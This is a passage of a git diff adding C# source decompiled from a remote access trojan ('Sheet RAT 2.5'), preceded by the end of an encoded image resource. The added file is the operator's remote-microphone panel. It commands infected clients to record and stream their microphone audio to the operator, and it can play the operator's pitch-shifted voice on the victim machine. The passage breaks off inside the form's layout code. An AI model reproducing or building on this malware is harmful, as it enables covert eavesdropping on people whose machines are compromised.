O/Pa9/wPgneA3xy8A48bNHfks/1/1VAJSMygL/Ul2i+ItMa8auMADp18AuME78bJQ/x+yG65z8ugFIyQjpV/rSL/I7/SLThALwNegJf+b3bAfjxM9u+S0boZO6vxLt2M28533hPeohfmeE/zXMhA/AOPElf1x+ExttZsVGUSBHqwAoUYsV/kV/J3+xf+lusWkHP0T+MfAW0h9w4kv+I8lv6U4B0PRfiUiW+bI/74vv0ZifXQy9YTXi7wYTiC/5jyb/DrjSdX/NAJTQd/v4NN/r/HV5fxbcAjMQ/wOodOJL/prIb/kLfE7yK+FMXz6YJfBCAs+b5nA50j8Br8N+xDcOyZ+M/Iap/+TYSNMw9icVACVs3X6xL7xd4xebOrw+E27l1+bDVsQ3DsmfqvwVcLdb/w9XAVDCkGI+iH/2pX/RFYAmcBkMgvWIvx+M5K+1/JZ/0Pkvcd1/pAqAcrJS6u/eF/vSL3JjO7gB6WfAFjBOfMmfLvkN4pfAKZr+KycnS/0bdoqDaX59xi/Bg7Aaypz4kv94yG8ZGhvG0krdXznh0/wX/eO0ih1NoSvk8PPNUAFG8h9X+fcg/o1OfhUA5YR1/GX+Gn+ZKwBteX0D4s+ErU76OJL/eMpvkH4TnOPk1xJAOW6xl/Fe8qVf6h+0sdSczfu7YTnil4GR/CdUfsuz0FTdXzk+sR1+ud/pl7nd/DqI/wXojfjr4aATX/KfDPlNbIR/++8wFQAl3ev7VxLEX24aIP1FMBjeRvxKMJL/pMq/Hbq68/+eUgFQ0tXx5/hd3+v8DRmvYByH+O+BceJL/pMtv2Ud4rd3BUBRai3+8wnirzCNGb/NzyfCFie+5A+T/JZRFIC66v5K6lnln66zwme5aQLfQfoC2ApG8odQ/qfMXrjJyX+XCoCSbEr93fwVfscvMY0Yr4RpsM2JL/nDKr9lE5zrCoDu/1dqnA3+gzkrAhrAFTAR8beCkfyhl98g/SxoIvmVmqfEfyTXE78+fAPGwEdOfMkfFfkr4V73xR+jVACU6rLSF9+O77rX5yP9U/A+GMkfKfktW+FS1/11A5ByzHX+Swldf6U5A3rC2058yR9F+S0roY2m/8qRYy/nvZzQ9UvMKYy/hbVQIfkjLP8wx2D3tV8qAMoR1/lW+lInfkP4Pu9fgH1gJH/k5d8N17lbf3X+nxJkNR+G//bFn+nkvxDGIP02J77kzwT5LW/EhpozXQHoqwKgrEvo+MvdeBriPwAbA/Elf6bIb5B/ImMDffW34kkfl7+UD0WpuRbxl0O55M9I+ffDvzv5H1cByN6s9c/Vj+/yrzLn8PopxN8GRvJnpPyWzfAFVwCeUAHIzth791f7O/ylpincDOuc+JI/k+U3sSfNTMYmjPIg67LMF3+VL/8qcz7i58NuyZ8V8h+Eu13n19N/WbjWX+FP918yjZD/Jn62Hozkzwr5LR8i/1ddAdAGYJZN+VcF3b8TjET8nZI/q+Q3iL84NsS00No/m8Qv9Vll6sG1sNqJL/mzTX5LLwpATOv/bIid6q8J1vstGLvDPyR/1sq/Da5w3V8FIEum/F7nPxcKYJ/kz1r5DZ2/JDbYnOJmAEqGd/5VbsOvDuPVsAaM5M9q+S0DY9117T+zxY+z2jRE+tvhfckv+WEH3f8q1/21+5+hU/4SE1/3t2Lsz88+lfyS3zHYrIZTQQ//ZOx63+v+Z8Ak3h+Q/JLfl98yKBbj8zFI8mdW1vg7/Z78FyD9Eie+5Jf8VfLvdNN/2/0HqwBkVudfHdzd93XevyT5Jf9h8hu6/hpo57q/pv8ZttP/spP/W7Be8kv+I8hvGcR/j7p/Rk77V5tujK9Lfsl/FPl3wnfdc/+PqABkRudf4x/g8ZLpChskv+Q/ivyHTv9nqgBk0nX+yzXtl/zVyG/o/IP5/6npf4Zd6vs6/Lfkl/zVyL8TNP2PfEoTju16yXwF1kp+yV+N/JaXoZ0rAJr+R7jzLw3k7wLLJL/kr4H8JjbQDHKdf6Dkj2Y2HNL5OyL9PMkv+Wso/ydwZewxPju9VQCimZLgFJ+2jIWSX/LXUH7LCjjFdX9N/yM69fd2+5syjuD9Qckv+Wsov6HzPxwboOl/NLPal7/U1Ef6HrBX8kv+JOTfCt90038VgIh2/gfd9P8W2C75JX8S8luWQEtXAJSIXuv3TvL5u+SX/EnKX8HU/95Yfz5DKgARiv3CjjdMvAjYx3r/R/JL/iTlN8j/LvyTW/+rAEQoVbf5tkf8uZJf8qcgv2UGNHYFQIlISoPO3wSGQ4Xkl/wpyL8f/j3Wj8/ScBWA6HR+WwDmuALwn1Am+SV/CvIb1v1vQie3/tfXfkdk3V91dn83t+kn+SV/avJbcuj+9VwBUCKQNcGO/9mwUvJL/lrIvwuudfLriz8iMvX31v3NIFfyS/5ayG/o/KsYT3Xrf537F4FNP1sAnnYF4C7e75H8kr8W8lsecjv/kj8CWRl0/28i/ibJL/lrKf+H8DXX/fupAIQ7VZt+7RgXSn7JX0v5LbOgieQPe0qC5/vrMfaBg5Jf8tdK/r5mP+OtsT669h+Nqb93vNd3YYvkl/y1lN+ygddnu+6vJ/9CvvFX6r7AswPjUskv+dMgv2Vo7CFTN/ao5A//1H8Nf1F26l/iT/0lv+Svnfzb4Ntu5/8JFYDwd/9ScyXifyD5JX8a5Dd0/UXQwnX/O1QAwtv9S9w3+ZzCuEjyS/40yV8Od7ru30fyhzPr/M6/zBWB38N+yS/50yC/5S3E7+zkVwEIaZb63+FXYs6HNyW/5E+T/AbpR8YeNvX0jT9hzQoTn/43gjGSX/KnUf5t0M11/odUAMKZZX73X2m+D9slv+RPk/yW5+j8zV33173/Ib3hx7LCtGZcIPklfxrl34/4v3I7/z0kf3h3/le4IvBr2Cv5JX+a5DfI/ypr/zMg5lBCuPb3ZgBnwlrJL/nTKL9lQOxmrf3Dm+X8xbzqCkB3qJD8kj+N8n8Al7jNP933H+rufy5skPySP43yWwp538i79KcCEM7uv8Ct//tApeSX/GmT/2HzKVzrpv567Dek3d/jS/BXyS/50yi/5UXkb+02/nTpL6SX/l4ydRB/gOSvsfyVkr9G8h+A293Uv7fkD3P37wJvSf4ayb8dtkn+auU3dP5X4Uw3/dfuf0i7v/1mn+WmN1RK/mrl3wQvIP4eyV+t/JZH+f8o+UO78edxNrwm+auVfz0MQfx3JX+N5N8MX1b3D3MBWOYKwO/goOQ/pvyr4VeIv1by10h+w5p/ZKyHqRfrJfnDufb3un9bpF8p+Y8pfzHSXwlPS/4ay78FLnMbf9r5D2Hih30sMzdAmeQ/qvxz4QLEfwzKJX+N5LcU8rqRKwD3qgCEdf3fBPGflvxHlL8C8acydkT8W2Cn5K+x/DvgGjf1f0zyhy/LgrX/pYxbJP9n5D+A/GORvg3jFYybJX+N5bfMR/4WrgDoqb+Qdv9+rgj0l/yfkX8f0g9H9hbQCflLJX8S8vcyu2M9zY1u6n+P5A/n5p83A/gc4q+T/IfIvwf5BzA2dQVgIutYyZ+M/JbnKQCtQYd+hDL2q72XOn4KeyR/IP9O5O8BjRG9PvL3Q/wDkj8p+ffCL5z8mvqHeP2/3DRE/gLJH8i/DfHvQvYGSBxD/lt5vUPyJyW/ZRnyt3UFQPf9hzB/Nh5LTRfGTZLf8SHy/5qxHsJb+bsxbpb8Scu/H/F/4+74e0Dyh7f7e0XgNjgg+c3fkP8niFzHl/+LjGskf9LyG+Qvgfau+3dXAQjzDKAxzJD8ZiPyX8ufZcWPIX1bmCX5U5J/H/zayd9T8oczxUH3P4/Xf8ty+d9A/qt478k/nqI4wTwJByV/0vJb7Nr/VBWAMOdF4xWBYvMrOJDF8r+K/F35vZ78M9z0/07YJflTkn9vrIe5xW363Sf5wz39X2oaIP+ELJZ/LfJf6jr/hIBr4D3Jn5L8BvmLGU9x1/wfVAEI9wzgRXMGbMhS+UuQ/yLwOr+37r8QXpX8KctfBj938uuR3xDnBRMvAP8Ku7JQ/mI438k/2a35LR2Qf4HkT1l+y3PQyhUArf1DXgCKXQF4NAvlXwhdIJYw9W8GoxG/UvKnLP8nse40FCv+HyV/FKb/zZB+fpbJb5/l7+Tkj0/9vRt+7kf8vZI/ZfkN8hdCE3fNXzf+RGAG8ILpDJuySP5ZSH+mE7/ALwA5rvvfgPhbJX+t5P8w9qC5wm36qfuHPM+beAH4IezOAvkrYRqc7jp/kS+/t+6/DP4q+Wslv2UkXb++6/564i8yBeChLJC/AgoR/jS33rdfQjkmkL8zrJT8tZZ/I/yTk187/5GZ/jdG/OkZLv9BmATtXOe333Uwzpffnuwz3kyV/LWW/yB0j/3Yv+b/exWAaMwAnjftkX59BstfDrl0/rZO/ikJN/pMNI0QfxCUS/5ayW+QvpTxc05+3fQTkSxxBeCrjFsyVP4DMArauGn/9GDKH+PPqMN4B+yS/LWWfxf8zImvp/0ikkXGKwBLzI2wJ0PlHwmtgt3+PF/+CW68Bt6T/LWW3zI99oBppu4fpSwOCkCPDJR/PwxD/JbBdf6C4Ok+y1dgveRPi/zvwWWe+JI/atP/uog/JsPk3wdDkb6FEz/f3/DLC+Q/HRZJ/rTIXwGPxu7hc/SAnviL3gxgsWkOz2WY/EMQv3lwe+/MhHX/eIrCeJOH9JWSv9byW1Yi/ulOft3xF8E9gMWmHeMrGST/IH7WzIlf6H/vXJX89aEX0u+T/GmQ/wHzCfwodr9u+IluAVhkOsG7GSD/XngMmgXT/r4Jl/u8a/43I/02yZ8W+S05yN/IdX5t/EUwC10BuIRxawbIP4DXTZ34dqPP+Bt/diaQ6+T/NtJvkvxpk/81+KKm/lEvAAvNNfBp5Dv/JF/+fP/DaDv+40HnPw/pX5b8aZN/F/zSXe+/XwUg6gXgJtgbYfkHBp0/P+GDmBfs+rdjnC350ya/QfqxsftMYyf//ZI/ulngCsCdjAcjK3++L//kI8g/jl/LMyOgQvKnTf51cK7r+jrlJwMKwAJzX2R3+yebZkft/ONMPcb7YI/kT5v8n8ANwXP+d6kARDfz+Mt7ztE7gvIPdpf64ht+8YxPuOSXZ34CWyV/2uSvgCdi95iG7mYf3fAT8cwPCkDfyMo/3t/tj8s/wcRnAJfD25I/bfJblkAHN/XXwz4ZkNnGWwLMNwMi9GDPMHeH36TD5O9rqqb+eeYcKJH8aZV/I3zDbfjdCz9RAYh+7G3A81wB6B8R+Ucw3W/pNvvyE+SPd39P/rYwQ/KnVf5P4VYnvq75Z1CeMd4yYL7pF4HDPEYjv/dIb/z23s9u+jVmfBIOSv60yW/X/UP5eSPJn2mZ4c8A5pneIT/GK5fXrYN7+8clfAjjT/hNNHUZfwdlkj9t8ltmQ3s39demX4bFPiE31xWAe0Ms/3g4xU357bP8fzps2j/Ov903z/wYPpL8aZV/DZznun6vw2ZdSoZkrisCd0B5CI/uzg/O8Mv3u39i569a938D3pT8aZX//6BrcLnvXsmfyQXgJ4i/J2TyF8FprrtPOuxav/GP8vZu8+3EuEzyp1X+bUh/szvR9wHd6pvZmeOOx74KdoToG3ueCb60Y7I/9U/MWH/qP860gSmSP63y70b+e+j49Vznl/xZUQAuRPotIZF/Hpzl5M85rPMnbvpNMI0YB/O+XPKnTf59SN8X+Ru5Kb82/bIg9mag2XTb2ebtEMi/hOl+5+D5/fzDPoDxy325pg7S/wfskvxpk/8Awj+J+M10m2/2zQBaI//ykyz/n+ELbr0fP8EnMbn+tH+MG6+DDyV/WuUfydhSG37ZOQNogPiTTqL8pXC+6/wTj9D5xwbiW74OGyR/WuUfgfStnPh/1OW+7MoM4xWBZ0zvkyT/Orr+xcFTfYev+e2Of9WmXydYKvnTJv9+5B8OLYN7/CV/lmWm8W4JfsbcAHtOsPyvI//lQeefdIQPX46JT//tjv9UyZ/WDb8h0CJY898h+bMzs4zlPHjvBMr/fwh/lbvEN+EInT++4z/OFYBGjIPcjr/kT4f8ZQjfP3aPv+F3jzq/ZgEzWQPOMstOkPzvIv8Pg65/NPm9y312x/8/3Y6/5E+H/DuQ/n53nt99mvYrNnYJ8JErAkNOgPxbkP4mV3TyjzLtzzVVu/7xHX/Jnw75/4H0dyJ9A13qU6pSaOKzgOsRv+w4yr8d4X/DWDe4xfdInX/sYTv+kj8d8r+D8DfF/sD/e93koxySZXwYnnacDW8eJ/k/RfjfM92vd1T57Y7/6IQd/1yWJJI/HfK/Clfx74lJfuXIedrNAOojfd5xkL8M4XtCw6PKbzPmkB3/KZI/LfIXI/xFwWU+3eSjHDH2ZKAZjhthTxrl34fwA2ITTJNjyl/11d2NkH4QlEv+WslfDkXI3yk4zEOdXznmlYDpjg6wLk3ylyP8cORvfsSbfBI3/WwBmGLq8Po/YJfkr/UZfgPp9m2CnX7Jr1Sbacb7qrBppm8a5K9E/jykb/2Zb+1JzNiETb9ccx18KPlrJf/f4Df8vGHwtV2SX6lxAfC4EN6phfwG+WfCaUc8xPPIO/6XIP4GyV8r+V9G9n/h9+kLO5UUUuQXgOmmAa8LayH/84ydnPy5R5n6G/98P++av93xXxoS+ffBxxGTfz8UQhf3hR06yENJOtN9+YscX4O/pCj/arjAyV9wjKl/jt/9c1mn5vo7/uHo/Ovhe4jfB9Yhflmo5X/AfITs3Vnnew/0/E47/UqysVPwqT5FpjMsS1H+1xkvdfJPPsJjvYdv+o1zO/6Pux3/8Ez7S6AVxBC/A9yA+NPgfcSvDJn8L8P3+bW6Tv7u/uO8ipL02t/r/G1heoryb4arg0t9x5I/1z/VJ77jH641/wvQ0i8AHgNNY8T/CvRC/NVQdpLlL4M8OMd9S6++sENJOVOD7t8UnoKDKchv7+//qbuZaGI11/qrCsAP4IMQbvjNhWauAAxM4DGwPxtg2sH1yD8R8d+BihMs/9twGx2/aXBzj9b7SkopDKb99RkfhD0pyL8Dbnf39x/rWn/8HP/cYMf/9ZDu9k+Hxq7zJ2aAOZSBpgHyn4/0D0Ap7DrO8u+DWfA1N9WPX97Tt/QqKctvKXZF4BewPQX590B3ftbgqE/2HW3HP7yX+iZCg88UgHjsTGCoXwT6QX83nor418F4xN8MFWmWfyPcjfStgnP6NeVXUk6Rv0M/zd199y+I/04K8h+AwdAk+OaeoyUnuN7fhnFKyK/zj0bouk706tLXVPEo9KFw9DFfQvx7oBjxd9ZS/j2IPh0u4vd44g/QlF+pTewtv+uDdf8FsC4F+Ssgl9et3JR//DE+kGP9zm/v8R9rBkJ5yG/yecLJPzAJyfr6X1Xex+dheMS0ZrwGxiL/RsQ/mKT86+E37sgubfQpacuUQP4OMD8F+S2zg7v88vwP/9HkH+vPDsaa22FXBO7w6+vk75+ibH382cAjfiF4yNRH/C5wN9Ivhm3VyP8xjIBzgzv6BuvavpLOHf8i04wxBypTkH8Fr7s4+X902Bd2JmaMqXq8d6z5V3gvIrf39nAzgMdqKVxP/6rBQ9DbH3uZltCNXxsBbyF4eYL8+5F+MVzNzxoEHV9dX0lb5/e6fz3oDntTkP81uKTaa/32UI9RJj4DuBhei4j8layxf+/W2elML3MoD/N30MN8Hm5H/EWwFu5C/rZuVz++y6+z+pS0yj/DFYCfwccpyP93+F4g/6RjfDjzTPzLPM5kfCFCD/aUw2/TXgAS9wru9YtAD5/urPG7m3ZuxmDX+n/QJp+Sbvnj1/unmH9m3JiC/Nvgl+7w0Orkzw3u8W/FOCliT/Xtg5uPWwFITPegAByKohyXdf9Ucw6UpiC/Pc7rvmOe5Xf4pl+uacjYDw5E7JFee4vv9SlvACpK6Lq/1/lbM05NQX57os+Q2HjT5Ji3+Nrk+Jt+T7gicBvsjODz/DvheyoASmZ0fm/t34DX/RgPJCm/pQDx2xxzwy9x429ysOP/fkQP89gOXd0dfooS+Wm/NwO4hXFH0vJPNAvhDNf5J9RgR9p2/xyWCWPN3bx+P6In+WyFS1QAlGhP+4v8jb8p5luwKQX518L5wZq/sAZCjPLP9M9hxjHGfB3G8PqjiB3j9RFcoMtvSiZ0/85QmsK0fzPyd3O39+b73b8mGWeq9gE8GvD+CsTPgXcicobf+7z+vAqAEu1NvyLTmtdTUuj82+Bm18nzq9n0q24zcIxfEEaZ+vBl6If4r8G+EB/guRk6qgAoUe789eERt+mXnPx74UF3uW9iivIfXgj+5N8ROMrdz16H92ci/s0wA/E/gMqQnd77BuNpKgBKtFLky++t+2+EbUnKXwGjmO43O+ahHqnGFoKRpmocYRrDRXAP8s9B/HehPARHd/9PrI97tl+fKSUisV/suTTY8b+Y8Y0k5bfMhvY1utxXmxxaBLxxuGkKF8DtiJ8H/4X4H0P5CZK/EuE/hfeRf0LsEdPCPcmnKJFIftD5O8DCFORfDV90XX+xL+iJyHDzWYaxfBlm2iH/pYh/BwxD/PnwJuJvhV2IX56i/PsQfwfYnf7XYD6MRPw/wDXQhQLQirGOe6RXUSKx6ed1/saMwxG/Ikn5/xe+FUz7J5ykD/4T/um7w3yG+ncU2nMGhpjmcDpcDD9A/jvgUcQfDQX8c3OgGPFXQDHiL4a5iD8FchD/cbgffoH8V8EF/jq/Ob+/TnCaz6MJB3qoACiRkX+8G3+L+LuSlP9j+Kl7eGfScVj313YD0fhFYEjCOMQ/HMM7srsuAjeEZtCK920QvxW0QPxm0Ai56waHe/T3z/Drl3CMVz9ffG36KZFK4SGbfl0Z30lSfm/HPy9NO/4nMoMPKQLe0V3x8/vjB3nET+7t78vdR5Irmdb9vVN9z4IVScpfCbnQ/KRO+xVFSbH7e52/KePYJOU3CL8EOjrxx0t+RYle53/WjXdAWZLy/wW+GpzkW6gCoCjRSL6/7i9w4n7LrfuTk/8j+GGw6afuryiRXPefCcuSlL8M/oD0dd3Uf6LkV5TorfsLTRPISVL+ShgJTZz82vRTlAhlsn+9P8df9xckrPurl9/yHK87uCn/OMmvKNGJSbjeX2C+CZuSlN9u+l3our79s2aqAChKdDLRP2dvsjkN6ZckKf9W+HFwrV/rfkWJ2NS/wMnfgPFxqEhC/v3Qg5/X07pfUaKWSaaqABSYG2F7EvIb1vv50MKt+yW/okQs04Lufz7j+iTlL4nlmc87+TXtV5SIpTCQvyVjUZLyvwPfdl0/V7v+ihKtFPg7/jNNHV7fB/uTkH8X3OZ2+vN8FEWJSOxlumnBur8rvJuE/JUwgteN3dRf8itKxDIx2PjrwPhiEvJbiqGjEz9X8itK9Kb+Bf6R3gVmIOJXJCH/Jrg8eLxXN/soSoQy05/6ezOA6+DjJOT31v0jffk19VeUiGWCfxT3ZHMOrE1CfrvuH4n0jXW9X1GimMnB8/1NeJ2bhPyWpcjvrfvHSn5FiVam+PJ73f9W2F1j+fPM36Grkz9f635FiV7yAvm/DBuSkH8f/JF1fx33Z+hkH0WJ4NTfoxkUJCG/pRBaOPl1p5+iRCz5vvzj3Azgt7AnCflfgfPcP5sj+RUleol/AWe++Qq8lYT82+HfnPx6vl9RIiz/JKbw+WZaEvJXwpO8b6Dr/YoS5QIwxtRB/Ltgbw3lt6yAM1z3162+ihLh9X++6QClScj/IVwV7Pjrkp+iRLoA1Ef8brAA8fdXI/9Buv7DdP26rvtr6q8oES8AVfsApyD/HxH/f48iv0H6F6C9k1+X/BQlAzLB7QN4u/ib3bT+q1AEZYfJ/wF0k/yKkokZ76/pvS/qbI70t8KrvvyV0JfXdVUAFCVTYx/ime2v7Sc50btADjwHHSW/omRDxvlP9Hm39zZ26/5yXo+W/IqSHRkezAI8xugxX0VRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEU5Dvl/PSohQL/daqEAAAAASUVORK5CYIIL + + \ No newline at end of file diff --git a/Server/Server/Forms/FormRemoteMicrophone.cs b/Server/Server/Forms/FormRemoteMicrophone.cs new file mode 100644 index 0000000..7b504d1 --- /dev/null +++ b/Server/Server/Forms/FormRemoteMicrophone.cs @@ -0,0 +1,419 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormRemoteMicrophone +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using NAudio.Wave; +using NAudio.Wave.SampleProviders; +using Server.Connection; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormRemoteMicrophone : MetroForm +{ + private WaveIn waveIn; + public WaveOut waveOut; + public Clients Plugin; + public Clients Plugin2; + public Clients ParrentClient; + public float Pitch; + public BufferedWaveProvider bufferedWaveProvider; + public VolumeSampleProvider volumeSampleProvider; + private IContainer components; + public MetroComboBox metroComboBox1; + public MetroComboBox comboBox1; + private MetroComboBox metroComboBox2; + private MetroComboBox metroComboBox3; + private MetroLabel metroLabel2; + private MetroToggle metroToggle2; + private MetroLabel metroLabel1; + private MetroToggle metroToggle1; + private MetroTrackBar metroTrackBar1; + private MetroLabel metroLabel3; + private MetroLabel metroLabel4; + private MetroTrackBar metroTrackBar2; + public Timer timer1; + + public FormRemoteMicrophone() => this.InitializeComponent(); + + private void metroToggle1_CheckedChanged(object sender, EventArgs e) + { + if (this.Plugin == null || this.comboBox1.SelectedIndex == -1 || this.metroComboBox1.SelectedIndex == -1) + this.metroToggle1.Checked = false; + else if (this.metroToggle1.Checked) + { + this.bufferedWaveProvider = new BufferedWaveProvider(new WaveFormat(Convert.ToInt32(this.metroComboBox1.Text.Split(' ')[0].Replace("kb", "")) * 8 * 1023 /*0x03FF*/, Convert.ToInt32(this.metroComboBox1.Text.Split(' ')[1].Replace("bit", "")), 1)); + this.bufferedWaveProvider.DiscardOnBufferOverflow = true; + this.Plugin.Send((object) $"RecoveryNAudio<@>{(Convert.ToInt32(this.metroComboBox1.Text.Split(' ')[0].Replace("kb", "")) * 8 * 1023 /*0x03FF*/).ToString()}<@>{this.metroComboBox1.Text.Split(' ')[1].Replace("bit", "")}<@>{this.comboBox1.Text}"); + this.waveOut = new WaveOut(); + this.volumeSampleProvider = new VolumeSampleProvider(this.bufferedWaveProvider.ToSampleProvider()); + this.volumeSampleProvider.Volume = (float) this.metroTrackBar2.Value / 100f; + this.waveOut.Volume = 1f; + this.waveOut.Init((ISampleProvider) this.volumeSampleProvider); + this.waveOut.Play(); + } + else + { + if (this.waveOut != null) + { + this.waveOut.Stop(); + this.waveOut.Dispose(); + } + if (this.bufferedWaveProvider == null) + return; + this.bufferedWaveProvider = (BufferedWaveProvider) null; + this.Plugin.Send((object) "RecoveryStopNAudio"); + } + } + + public void waveIn_DataAvailable(object sender, WaveInEventArgs e) + { + this.Plugin2.Send((object) ("PlayerBuffer<@>" + Convert.ToBase64String(e.Buffer))); + } + + private void metroToggle2_CheckedChanged(object sender, EventArgs e) + { + if (this.Plugin2 == null || this.metroComboBox3.SelectedIndex == -1 || this.metroComboBox2.SelectedIndex == -1) + this.metroToggle2.Checked = false; + else if (this.metroToggle2.Checked) + { + float num = this.metroTrackBar1.Value <= 11 ? (this.metroTrackBar1.Value >= 11 ? 1f : (float) ((double) (this.metroTrackBar1.Value - 1) / 10.0 * 0.5 + 0.5)) : (float) (this.metroTrackBar1.Value - 1) / 10f; + this.Pitch = num; + this.Plugin2.Send((object) $"PlayerStart<@>{(Convert.ToInt32(this.metroComboBox2.Text.Split(' ')[0].Replace("kb", "")) * 8 * 1023 /*0x03FF*/).ToString()}<@>{Convert.ToInt32(this.metroComboBox2.Text.Split(' ')[1].Replace("bit", "")).ToString()}<@>{num.ToString()}"); + this.waveIn = new WaveIn(); + this.waveIn.DeviceNumber = this.metroComboBox3.SelectedIndex; + this.waveIn.DataAvailable += new EventHandler(this.waveIn_DataAvailable); + this.waveIn.RecordingStopped += new EventHandler(this.waveIn_Stop); + this.waveIn.WaveFormat = new WaveFormat(Convert.ToInt32(this.metroComboBox2.Text.Split(' ')[0].Replace("kb", "")) * 8 * 1023 /*0x03FF*/, Convert.ToInt32(this.metroComboBox2.Text.Split(' ')[1].Replace("bit", "")), 1); + this.waveIn.StartRecording(); + } + else + { + this.Plugin2.Send((object) "PlayerStop"); + this.waveIn.StopRecording(); + } + } + + private void metroTrackBar1_Scroll(object sender, ScrollEventArgs e) + { + if (this.Plugin2 == null) + return; + float num = this.metroTrackBar1.Value <= 11 ? (this.metroTrackBar1.Value >= 11 ? 1f : (float) ((double) (this.metroTrackBar1.Value - 1) / 10.0 * 0.5 + 0.5)) : (float) (this.metroTrackBar1.Value - 1) / 10f; + if ((double) this.Pitch == (double) num) + return; + this.Pitch = num; + this.Plugin2.Send((object) ("Tone<@>" + num.ToString())); + } + + private void metroTrackBar2_Scroll(object sender, ScrollEventArgs e) + { + if (!this.metroToggle1.Checked || this.ParrentClient == null || this.Plugin == null) + return; + this.volumeSampleProvider.Volume = (float) this.metroTrackBar2.Value / 100f; + } + + private void FromRemoteMicrophone_Load(object sender, EventArgs e) + { + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.comboBox1.Theme = Customs.customs.Theme; + this.metroComboBox1.Theme = Customs.customs.Theme; + this.metroComboBox3.Theme = Customs.customs.Theme; + this.metroComboBox2.Theme = Customs.customs.Theme; + this.metroTrackBar2.Theme = Customs.customs.Theme; + this.metroTrackBar1.Theme = Customs.customs.Theme; + this.metroToggle1.Theme = Customs.customs.Theme; + this.metroToggle2.Theme = Customs.customs.Theme; + this.metroLabel2.Theme = Customs.customs.Theme; + this.metroLabel3.Theme = Customs.customs.Theme; + this.metroLabel1.Theme = Customs.customs.Theme; + this.metroLabel4.Theme = Customs.customs.Theme; + } + if (Customs.customs.Style != MetroColorStyle.Lime) + { + this.Style = Customs.customs.Style; + this.comboBox1.Style = Customs.customs.Style; + this.metroComboBox1.Style = Customs.customs.Style; + this.metroComboBox3.Style = Customs.customs.Style; + this.metroComboBox2.Style = Customs.customs.Style; + this.metroTrackBar2.Style = Customs.customs.Style; + this.metroTrackBar1.Style = Customs.customs.Style; + this.metroToggle1.Style = Customs.customs.Style; + this.metroToggle2.Style = Customs.customs.Style; + this.metroLabel2.Style = Customs.customs.Style; + this.metroLabel3.Style = Customs.customs.Style; + this.metroLabel1.Style = Customs.customs.Style; + this.metroLabel4.Style = Customs.customs.Style; + } + this.FormClosed += new FormClosedEventHandler(this._FormClosed); + for (int devNumber = 0; devNumber < WaveIn.DeviceCount; ++devNumber) + this.metroComboBox3.Items.Add((object) WaveIn.GetCapabilities(devNumber).ProductName); + } + + public void waveIn_Stop(object sender, StoppedEventArgs eventArgs) + { + if (!this.metroToggle2.Checked) + return; + this.waveIn.StartRecording(); + } + + private void _FormClosed(object sender, FormClosedEventArgs e) + { + try + { + if (this.waveOut != null) + { + this.waveOut.Stop(); + this.waveOut.Dispose(); + } + if (!this.metroToggle1.Checked) + this.Plugin.Send((object) "RecoveryStopNAudio"); + if (!this.metroToggle2.Checked) + { + this.Plugin?.Disconnected(); + this.Plugin2?.Disconnected(); + } + else + { + this.Plugin.Send((object) "PlayerStop"); + if (this.Plugin != null) + this.Plugin?.Disconnected(); + if (this.Plugin2 != null) + this.Plugin2?.Disconnected(); + this.waveIn.StopRecording(); + WaveIn waveIn = this.waveIn; + } + } + catch + { + } + } + + private void timer1_Tick(object sender, EventArgs e) + { + if (!this.ParrentClient.Connect) + this.Close(); + if (this.Plugin != null && !this.Plugin.Connect) + this.Close(); + if (this.Plugin2 == null || this.Plugin2.Connect) + return; + this.Close(); + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormRemoteMicrophone)); + this.metroComboBox1 = new MetroComboBox(); + this.comboBox1 = new MetroComboBox(); + this.metroComboBox2 = new MetroComboBox(); + this.metroComboBox3 = new MetroComboBox(); + this.metroLabel2 = new MetroLabel(); + this.metroToggle2 = new MetroToggle(); + this.metroLabel1 = new MetroLabel(); + this.metroToggle1 = new MetroToggle(); + this.metroTrackBar1 = new MetroTrackBar(); + this.metroLabel3 = new MetroLabel(); + this.metroLabel4 = new MetroLabel(); + this.metroTrackBar2 = new MetroTrackBar(); + this.timer1 = new Timer(this.components); + this.SuspendLayout(); + this.metroComboBox1.FontSize = MetroComboBoxSize.Small; + this.metroComboBox1.FormattingEnabled = true; + this.metroComboBox1.ItemHeight = 19; + this.metroComboBox1.Items.AddRange(new object[8] + { + (object) "4kb 8bit", + (object) "6kb 8bit", + (object) "8kb 8bit", + (object) "8kb 16bit", + (object) "12kb 16bit", + (object) "16kb 16bit", + (object) "20kb 16bit", + (object) "24kb 16bit" + }); + this.metroComboBox1.Location = new Point(22, 109); + this.metroComboBox1.Margin = new Padding(2); + this.metroComboBox1.Name = "metroComboBox1"; + this.metroComboBox1.Size = new Size(236, 25); + this.metroComboBox1.Style = MetroColorStyle.Lime; + this.metroComboBox1.TabIndex = 36; + this.metroComboBox1.Theme = MetroThemeStyle.Dark; + this.metroComboBox1.UseSelectable = true; + this.metroComboBox1.UseStyleColors = true; + this.comboBox1.FontSize = MetroComboBoxSize.Small; + this.comboBox1.FormattingEnabled = true; + this.comboBox1.ItemHeight = 19; + this.comboBox1.Location = new Point(22, 80 /*0x50*/); + this.comboBox1.Margin = new Padding(2); + this.comboBox1.Name = "comboBox1"; + this.comboBox1.Size = new Size(236, 25); + this.comboBox1.Style = MetroColorStyle.Lime; + this.comboBox1.TabIndex = 35; + this.comboBox1.Theme = MetroThemeStyle.Dark; + this.comboBox1.UseSelectable = true; + this.comboBox1.UseStyleColors = true; + this.metroComboBox2.FontSize = MetroComboBoxSize.Small; + this.metroComboBox2.FormattingEnabled = true; + this.metroComboBox2.ItemHeight = 19; + this.metroComboBox2.Items.AddRange(new object[8] + { + (object) "4kb 8bit", + (object) "6kb 8bit", + (object) "8kb 8bit", + (object) "8kb 16bit", + (object) "12kb 16bit", + (object) "16kb 16bit", + (object) "20kb 16bit", + (object) "24kb 16bit" + }); + this.metroComboBox2.Location = new Point(306, 109); + 